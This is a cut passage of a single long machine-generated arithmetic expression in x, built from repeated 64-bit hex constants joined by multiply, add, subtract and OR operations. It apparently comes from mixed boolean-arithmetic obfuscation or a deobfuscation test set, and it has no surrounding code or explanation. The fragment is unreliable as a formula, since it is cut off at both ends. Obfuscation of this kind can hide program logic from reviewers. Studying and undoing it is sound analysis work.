dd4b3bfa258d))+0x3bbdd4b3bfa258d)-((((((-0x3399e33c88a2571)-((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-(((((-(((((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-((((((((((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758))+(((((((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((-0x3399e33c88a2571)-((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((-0x3399e33c88a2571)-((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-(((((-(((((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((-0x3399e33c88a2571)-((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-(((((-(((((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-((((((((((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758))+(((((((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((-0x3399e33c88a2571)-((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((-0x3399e33c88a2571)-((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((